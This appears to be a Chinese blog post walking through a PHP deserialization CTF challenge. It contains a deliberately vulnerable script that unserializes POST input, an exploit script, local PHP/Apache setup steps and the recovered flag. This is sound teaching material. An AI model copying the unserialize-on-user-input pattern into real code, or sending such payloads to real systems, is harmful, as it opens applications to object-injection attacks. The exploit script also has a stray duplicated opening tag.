当前位置: 首页 > news >正文

PHP反序列化的CTF题目环境和做题复现第1集

1 通过post参数提交反序列信息

2 题目

http://192.168.1.8/fxl1/fxl1.php

<?php
highlight_file(__FILE__);class ezUnserialize{public $key;public function __destruct(){if($this->key == "FLAG"){include('flag.php');echo $flag;}}
}
unserialize($_POST['a']);
?>

3 EXP

<?php
<?php
class ezUnserialize{public $key;public function __construct($a){$this->key = $a;}
}
$obj = new ezUnserialize("FLAG");
echo serialize($obj);
?>

4 解题过程

4.0.1 在wsl的ubuntu上安装php环境

Step 1: Remove Existing PHP Versions
First, let’s clean up any existing PHP 7.x installations:sudo apt-get purge php7.*
sudo apt-get autoclean
sudo apt-get autoremove
Note about these commands:autoclean removes obsolete package files from your cache
autoremove removes dependencies that are no longer needed
Using purge removes both packages and their configuration files
Step 2: Add the PHP Repository
Ondřej Surý maintains up-to-date PHP packages for Ubuntu:sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
Step 3: Install PHP 7.3
Now install PHP 7.3 and common extensions:sudo apt-get install php7.3
Step 4: Configure Apache (if using Apache)
If you’re using Apache as your web server:# Disable old PHP module (if any)
sudo a2dismod php7.0  # or whatever version you had before# Enable PHP 7.3
sudo a2enmod php7.3
sudo systemctl restart apache2

4.0.2 /var/www/html配置普通账户可读可写可执行权限

(base) gpu3090@DESKTOP-8IU6393:~$ chown  gpu3090 /var/www/html
chown: changing ownership of '/var/www/html': Operation not permitted
(base) gpu3090@DESKTOP-8IU6393:~$ sudo chown  gpu3090 /var/www/html
(base) gpu3090@DESKTOP-8IU6393:~$ ls
M5-应用集成  anaconda3  cookies.txt  downloads  snap  summaries  tmpg00x95ve.mp3
(base) gpu3090@DESKTOP-8IU6393:~$

4.0.3 将题目代码和flag存放到/var/www/html/相应的位置

在这里插入图片描述

4.1 在vscode上运行上面的exp的php脚本

需要安装插件php debug 和php Server

在这里插入图片描述

4.2 vscode运行exp 的php脚本

在这里插入图片描述

4.3 通过hackbar的post功能提交

在这里插入图片描述

4.得到flag

flag{EzUns3ri4liZe_1s_g00d}

http://www.lryc.cn/news/623290.html

相关文章:

  • 企业运维规划及Linux介绍虚拟环境搭建
  • python---包
  • 一文速通Python并行计算:14 Python异步编程-协程的管理和调度
  • CF每日3题(1500-1700)
  • P2169 正则表达式
  • w嵌入式分享合集66
  • 【Bluedroid】A2DP控制通道UIPC机制深度解析(btif_a2dp_control_init)
  • Java8~Java21重要新特性
  • JAVA面试汇总(四)JVM(一)
  • 028 动静态库 —— 动态库
  • duiLib 实现鼠标拖动标题栏时,窗口跟着拖动
  • Vue 3.5重磅更新:响应式Props解构,让组件开发更简洁高效
  • 分享一个Oracle表空间自动扩容与清理脚本
  • CPP多线程3:async和future、promise
  • MATLAB基础训练实验
  • 超越“调参”:从系统架构师视角,重构 AI 智能体的设计范式
  • 深度剖析Redisson分布式锁项目实战
  • 【数据分享】大清河(大庆河)流域上游土地利用
  • AutoDL使用学习
  • K8s核心组件全解析
  • 服务器配置开机自启动服务
  • GEEPython-demo1:利用Sentinel-2监测北京奥林匹克森林公园2024年NDVI变化(附Python版)
  • [CSP-J2020] 方格取数
  • Vue组件生命周期钩子:深入理解组件的生命周期阶段
  • Vue 3.5+ Teleport defer 属性详解:解决组件渲染顺序问题的终极方案
  • 【P14 3-6 】OpenCV Python——视频加载、摄像头调用、视频基本信息获取(宽、高、帧率、总帧数)
  • ESP32-S3_ES8311音频输出使用
  • CSS 核心知识点全解析:从基础到实战应用
  • 探索粒子世界:从基础理论到前沿应用与未来展望
  • 主从复制+哨兵